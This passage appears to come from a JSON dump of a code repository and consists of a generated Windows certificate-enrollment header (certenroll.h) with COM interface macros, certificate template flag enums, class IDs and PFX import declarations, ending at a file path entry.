This,\n            /* [in] */ X509SCEPProcessMessageFlags ProcessFlags,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509SCEPEnrollment )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SCEPEnrollment **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ResultMessageText )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509SCEPEnrollmentHelperVtbl;\n\n    interface IX509SCEPEnrollmentHelper\n    {\n        CONST_VTBL struct IX509SCEPEnrollmentHelperVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509SCEPEnrollmentHelper_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509SCEPEnrollmentHelper_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509SCEPEnrollmentHelper_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509SCEPEnrollmentHelper_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509SCEPEnrollmentHelper_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509SCEPEnrollmentHelper_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509SCEPEnrollmentHelper_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509SCEPEnrollmentHelper_Initialize(This,strServerUrl,strRequestHeaders,pRequest,strCACertificateThumbprint)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strServerUrl,strRequestHeaders,pRequest,strCACertificateThumbprint) ) \n\n#define IX509SCEPEnrollmentHelper_InitializeForPending(This,strServerUrl,strRequestHeaders,Context,strTransactionId)\t\\\n    ( (This)->lpVtbl -> InitializeForPending(This,strServerUrl,strRequestHeaders,Context,strTransactionId) ) \n\n#define IX509SCEPEnrollmentHelper_Enroll(This,ProcessFlags,pDisposition)\t\\\n    ( (This)->lpVtbl -> Enroll(This,ProcessFlags,pDisposition) ) \n\n#define IX509SCEPEnrollmentHelper_FetchPending(This,ProcessFlags,pDisposition)\t\\\n    ( (This)->lpVtbl -> FetchPending(This,ProcessFlags,pDisposition) ) \n\n#define IX509SCEPEnrollmentHelper_get_X509SCEPEnrollment(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509SCEPEnrollment(This,ppValue) ) \n\n#define IX509SCEPEnrollmentHelper_get_ResultMessageText(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ResultMessageText(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509SCEPEnrollmentHelper_INTERFACE_DEFINED__ */\n\n\n\n#ifndef __CERTENROLLLib_LIBRARY_DEFINED__\n#define __CERTENROLLLib_LIBRARY_DEFINED__\n\n/* library CERTENROLLLib */\n/* [helpstring][version][uuid] */ \n\ntypedef \nenum X509CertificateTemplateGeneralFlag\n    {\n        GeneralMachineType\t= 0x40,\n        GeneralCA\t= 0x80,\n        GeneralCrossCA\t= 0x800,\n        GeneralDefault\t= 0x10000,\n        GeneralModified\t= 0x20000,\n        GeneralDonotPersist\t= 0x1000\n    } \tX509CertificateTemplateGeneralFlag;\n\ntypedef \nenum X509CertificateTemplateEnrollmentFlag\n    {\n        EnrollmentIncludeSymmetricAlgorithms\t= 0x1,\n        EnrollmentPendAllRequests\t= 0x2,\n        EnrollmentPublishToKRAContainer\t= 0x4,\n        EnrollmentPublishToDS\t= 0x8,\n        EnrollmentAutoEnrollmentCheckUserDSCertificate\t= 0x10,\n        EnrollmentAutoEnrollment\t= 0x20,\n        EnrollmentDomainAuthenticationNotRequired\t= 0x80,\n        EnrollmentPreviousApprovalValidateReenrollment\t= 0x40,\n        EnrollmentUserInteractionRequired\t= 0x100,\n        EnrollmentAddTemplateName\t= 0x200,\n        EnrollmentRemoveInvalidCertificateFromPersonalStore\t= 0x400,\n        EnrollmentAllowEnrollOnBehalfOf\t= 0x800,\n        EnrollmentAddOCSPNoCheck\t= 0x1000,\n        EnrollmentReuseKeyOnFullSmartCard\t= 0x2000,\n        EnrollmentNoRevocationInfoInCerts\t= 0x4000,\n        EnrollmentIncludeBasicConstraintsForEECerts\t= 0x8000,\n        EnrollmentPreviousApprovalKeyBasedValidateReenrollment\t= 0x10000,\n        EnrollmentCertificateIssuancePoliciesFromRequest\t= 0x20000,\n        EnrollmentSkipAutoRenewal\t= 0x40000\n    } \tX509CertificateTemplateEnrollmentFlag;\n\ntypedef \nenum X509CertificateTemplateSubjectNameFlag\n    {\n        SubjectNameEnrolleeSupplies\t= 0x1,\n        SubjectNameRequireDirectoryPath\t= 0x80000000,\n        SubjectNameRequireCommonName\t= 0x40000000,\n        SubjectNameRequireEmail\t= 0x20000000,\n        SubjectNameRequireDNS\t= 0x10000000,\n        SubjectNameAndAlternativeNameOldCertSupplies\t= 0x8,\n        SubjectAlternativeNameEnrolleeSupplies\t= 0x10000,\n        SubjectAlternativeNameRequireDirectoryGUID\t= 0x1000000,\n        SubjectAlternativeNameRequireUPN\t= 0x2000000,\n        SubjectAlternativeNameRequireEmail\t= 0x4000000,\n        SubjectAlternativeNameRequireSPN\t= 0x800000,\n        SubjectAlternativeNameRequireDNS\t= 0x8000000,\n        SubjectAlternativeNameRequireDomainDNS\t= 0x400000\n    } \tX509CertificateTemplateSubjectNameFlag;\n\ntypedef \nenum X509CertificateTemplatePrivateKeyFlag\n    {\n        PrivateKeyRequireArchival\t= 0x1,\n        PrivateKeyExportable\t= 0x10,\n        PrivateKeyRequireStrongKeyProtection\t= 0x20,\n        PrivateKeyRequireAlternateSignatureAlgorithm\t= 0x40,\n        PrivateKeyRequireSameKeyRenewal\t= 0x80,\n        PrivateKeyUseLegacyProvider\t= 0x100,\n        PrivateKeyEKTrustOnUse\t= 0x200,\n        PrivateKeyEKValidateCert\t= 0x400,\n        PrivateKeyEKValidateKey\t= 0x800,\n        PrivateKeyAttestNone\t= 0,\n        PrivateKeyAttestPreferred\t= 0x1000,\n        PrivateKeyAttestRequired\t= 0x2000,\n        PrivateKeyAttestMask\t= 0x3000,\n        PrivateKeyAttestWithoutPolicy\t= 0x4000,\n        PrivateKeyServerVersionMask\t= 0xf0000,\n        PrivateKeyServerVersionShift\t= 16,\n        PrivateKeyHelloKspKey\t= 0x100000,\n        PrivateKeyHelloLogonKey\t= 0x200000,\n        PrivateKeyClientVersionMask\t= 0xf000000,\n        PrivateKeyClientVersionShift\t= 24\n    } \tX509CertificateTemplatePrivateKeyFlag;\n\n\nEXTERN_C const IID LIBID_CERTENROLLLib;\n\nEXTERN_C const CLSID CLSID_CObjectId;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2000-217d-11da-b2a4-000e7bbb2b09\")\nCObjectId;\n#endif\n\nEXTERN_C const CLSID CLSID_CObjectIds;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2001-217d-11da-b2a4-000e7bbb2b09\")\nCObjectIds;\n#endif\n\nEXTERN_C const CLSID CLSID_CBinaryConverter;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2002-217d-11da-b2a4-000e7bbb2b09\")\nCBinaryConverter;\n#endif\n\nEXTERN_C const CLSID CLSID_CX500DistinguishedName;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2003-217d-11da-b2a4-000e7bbb2b09\")\nCX500DistinguishedName;\n#endif\n\nEXTERN_C const CLSID CLSID_CCspInformation;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2007-217d-11da-b2a4-000e7bbb2b09\")\nCCspInformation;\n#endif\n\nEXTERN_C const CLSID CLSID_CCspInformations;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2008-217d-11da-b2a4-000e7bbb2b09\")\nCCspInformations;\n#endif\n\nEXTERN_C const CLSID CLSID_CCspStatus;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2009-217d-11da-b2a4-000e7bbb2b09\")\nCCspStatus;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509PublicKey;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200b-217d-11da-b2a4-000e7bbb2b09\")\nCX509PublicKey;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509PrivateKey;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200c-217d-11da-b2a4-000e7bbb2b09\")\nCX509PrivateKey;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EndorsementKey;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"11A25A1D-B9A3-4EDD-AF83-3B59ADBED361\")\nCX509EndorsementKey;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Extension;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200d-217d-11da-b2a4-000e7bbb2b09\")\nCX509Extension;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Extensions;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200e-217d-11da-b2a4-000e7bbb2b09\")\nCX509Extensions;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionKeyUsage;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200f-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionKeyUsage;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionEnhancedKeyUsage;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2010-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionEnhancedKeyUsage;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionTemplateName;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2011-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionTemplateName;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionTemplate;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2012-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionTemplate;\n#endif\n\nEXTERN_C const CLSID CLSID_CAlternativeName;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2013-217d-11da-b2a4-000e7bbb2b09\")\nCAlternativeName;\n#endif\n\nEXTERN_C const CLSID CLSID_CAlternativeNames;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2014-217d-11da-b2a4-000e7bbb2b09\")\nCAlternativeNames;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionAlternativeNames;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2015-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionAlternativeNames;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionBasicConstraints;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2016-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionBasicConstraints;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionSubjectKeyIdentifier;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2017-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionSubjectKeyIdentifier;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionAuthorityKeyIdentifier;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2018-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionAuthorityKeyIdentifier;\n#endif\n\nEXTERN_C const CLSID CLSID_CSmimeCapability;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2019-217d-11da-b2a4-000e7bbb2b09\")\nCSmimeCapability;\n#endif\n\nEXTERN_C const CLSID CLSID_CSmimeCapabilities;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201a-217d-11da-b2a4-000e7bbb2b09\")\nCSmimeCapabilities;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionSmimeCapabilities;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201b-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionSmimeCapabilities;\n#endif\n\nEXTERN_C const CLSID CLSID_CPolicyQualifier;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201c-217d-11da-b2a4-000e7bbb2b09\")\nCPolicyQualifier;\n#endif\n\nEXTERN_C const CLSID CLSID_CPolicyQualifiers;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201d-217d-11da-b2a4-000e7bbb2b09\")\nCPolicyQualifiers;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertificatePolicy;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201e-217d-11da-b2a4-000e7bbb2b09\")\nCCertificatePolicy;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertificatePolicies;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201f-217d-11da-b2a4-000e7bbb2b09\")\nCCertificatePolicies;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionCertificatePolicies;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2020-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionCertificatePolicies;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionMSApplicationPolicies;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2021-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionMSApplicationPolicies;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Attribute;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2022-217d-11da-b2a4-000e7bbb2b09\")\nCX509Attribute;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Attributes;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2023-217d-11da-b2a4-000e7bbb2b09\")\nCX509Attributes;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeExtensions;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2024-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeExtensions;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeClientId;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2025-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeClientId;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeRenewalCertificate;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2026-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeRenewalCertificate;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeArchiveKey;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2027-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeArchiveKey;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeArchiveKeyHash;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2028-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeArchiveKeyHash;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeOSVersion;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202a-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeOSVersion;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeCspProvider;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202b-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeCspProvider;\n#endif\n\nEXTERN_C const CLSID CLSID_CCryptAttribute;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202c-217d-11da-b2a4-000e7bbb2b09\")\nCCryptAttribute;\n#endif\n\nEXTERN_C const CLSID CLSID_CCryptAttributes;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202d-217d-11da-b2a4-000e7bbb2b09\")\nCCryptAttributes;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertProperty;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202e-217d-11da-b2a4-000e7bbb2b09\")\nCCertProperty;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertProperties;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202f-217d-11da-b2a4-000e7bbb2b09\")\nCCertProperties;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyFriendlyName;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2030-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyFriendlyName;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyDescription;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2031-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyDescription;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyAutoEnroll;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2032-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyAutoEnroll;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyRequestOriginator;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2033-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyRequestOriginator;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertySHA1Hash;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2034-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertySHA1Hash;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyKeyProvInfo;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2036-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyKeyProvInfo;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyArchived;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2037-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyArchived;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyBackedUp;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2038-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyBackedUp;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyEnrollment;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2039-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyEnrollment;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyRenewal;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e203a-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyRenewal;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyArchivedKeyHash;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e203b-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyArchivedKeyHash;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyEnrollmentPolicyServer;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e204c-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyEnrollmentPolicyServer;\n#endif\n\nEXTERN_C const CLSID CLSID_CSignerCertificate;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e203d-217d-11da-b2a4-000e7bbb2b09\")\nCSignerCertificate;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509NameValuePair;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e203f-217d-11da-b2a4-000e7bbb2b09\")\nCX509NameValuePair;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertificateAttestationChallenge;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"1362ADA1-EB60-456A-B6E1-118050DB741B\")\nCCertificateAttestationChallenge;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRequestPkcs10;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2042-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRequestPkcs10;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRequestCertificate;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2043-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRequestCertificate;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRequestPkcs7;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2044-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRequestPkcs7;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRequestCmc;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2045-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRequestCmc;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Enrollment;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2046-217d-11da-b2a4-000e7bbb2b09\")\nCX509Enrollment;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EnrollmentWebClassFactory;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2049-217d-11da-b2a4-000e7bbb2b09\")\nCX509EnrollmentWebClassFactory;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EnrollmentHelper;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2050-217d-11da-b2a4-000e7bbb2b09\")\nCX509EnrollmentHelper;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509MachineEnrollmentFactory;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2051-217d-11da-b2a4-000e7bbb2b09\")\nCX509MachineEnrollmentFactory;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EnrollmentPolicyActiveDirectory;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"91f39027-217f-11da-b2a4-000e7bbb2b09\")\nCX509EnrollmentPolicyActiveDirectory;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EnrollmentPolicyWebService;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"91f39028-217f-11da-b2a4-000e7bbb2b09\")\nCX509EnrollmentPolicyWebService;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509PolicyServerListManager;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"91f39029-217f-11da-b2a4-000e7bbb2b09\")\nCX509PolicyServerListManager;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509PolicyServerUrl;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"91f3902a-217f-11da-b2a4-000e7bbb2b09\")\nCX509PolicyServerUrl;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateTemplateADWritable;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"8336E323-2E6A-4a04-937C-548F681839B3\")\nCX509CertificateTemplateADWritable;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRevocationListEntry;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e205e-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRevocationListEntry;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRevocationListEntries;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e205f-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRevocationListEntries;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRevocationList;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2060-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRevocationList;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509SCEPEnrollment;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2061-217d-11da-b2a4-000e7bbb2b09\")\nCX509SCEPEnrollment;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509SCEPEnrollmentHelper;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2062-217d-11da-b2a4-000e7bbb2b09\")\nCX509SCEPEnrollmentHelper;\n#endif\n#endif /* __CERTENROLLLib_LIBRARY_DEFINED__ */\n\n/* interface __MIDL_itf_certenroll_0000_0100 */\n/* [local] */ \n\n#ifdef __cplusplus\nextern \"C\" {\n#endif /* __cplusplus */\ntypedef \nenum ImportPFXFlags\n    {\n        ImportNone\t= 0,\n        ImportMachineContext\t= 0x1,\n        ImportForceOverwrite\t= 0x2,\n        ImportSilent\t= 0x4,\n        ImportSaveProperties\t= 0x8,\n        ImportExportable\t= 0x10,\n        ImportExportableEncrypted\t= 0x20,\n        ImportNoUserProtected\t= 0x40,\n        ImportUserProtected\t= 0x80,\n        ImportUserProtectedHigh\t= 0x100,\n        ImportInstallCertificate\t= 0x200,\n        ImportInstallChain\t= 0x400,\n        ImportInstallChainAndRoot\t= 0x800\n    } \tImportPFXFlags;\n\n#ifdef __WINCRYPT_H__\ntypedef HRESULT (FNIMPORTPFXTOPROVIDER)(\n            _In_ HWND hWndParent,\n            _In_reads_bytes_(cbPFX) BYTE const *pbPFX,\n            _In_ DWORD cbPFX,\n            _In_ ImportPFXFlags ImportFlags,\n            _In_opt_ PCWSTR pwszPassword,\n            _In_opt_ PCWSTR pwszProviderName,\n            _In_opt_ PCWSTR pwszReaderName,\n            _In_opt_ PCWSTR pwszContainerNamePrefix,\n            _In_opt_ PCWSTR pwszPin,\n            _In_opt_ PCWSTR pwszFriendlyName,\n            _Out_opt_ DWORD *pcCertOut,\n            _Outptr_opt_result_buffer_(*pcCertOut) PCCERT_CONTEXT **prgpCertOut);\ntypedef VOID (FNIMPORTPFXTOPROVIDERFREEDATA)(\n            _In_ DWORD cCert,\n            _In_reads_opt_(cCert) PCCERT_CONTEXT *rgpCert);\nFNIMPORTPFXTOPROVIDER ImportPFXToProvider;\nFNIMPORTPFXTOPROVIDERFREEDATA ImportPFXToProviderFreeData;\n#endif // __WINCRYPT_H__\n#ifdef __cplusplus\n}\n#endif  /* __cplusplus */\n#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */\n#pragma endregion\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0100_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0100_v0_0_s_ifspec;\n\n/* Additional Prototypes for ALL interfaces */\n\nunsigned long             __RPC_USER  BSTR_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\nunsigned long             __RPC_USER  VARIANT_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out VARIANT * ); \nvoid                      __RPC_USER  VARIANT_UserFree(     __RPC__in unsigned long *, __RPC__in VARIANT * ); \n\nunsigned long             __RPC_USER  BSTR_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree64(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\nunsigned long             __RPC_USER  VARIANT_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out VARIANT * ); \nvoid                      __RPC_USER  VARIANT_UserFree64(     __RPC__in unsigned long *, __RPC__in VARIANT * ); \n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/request/entry.c",
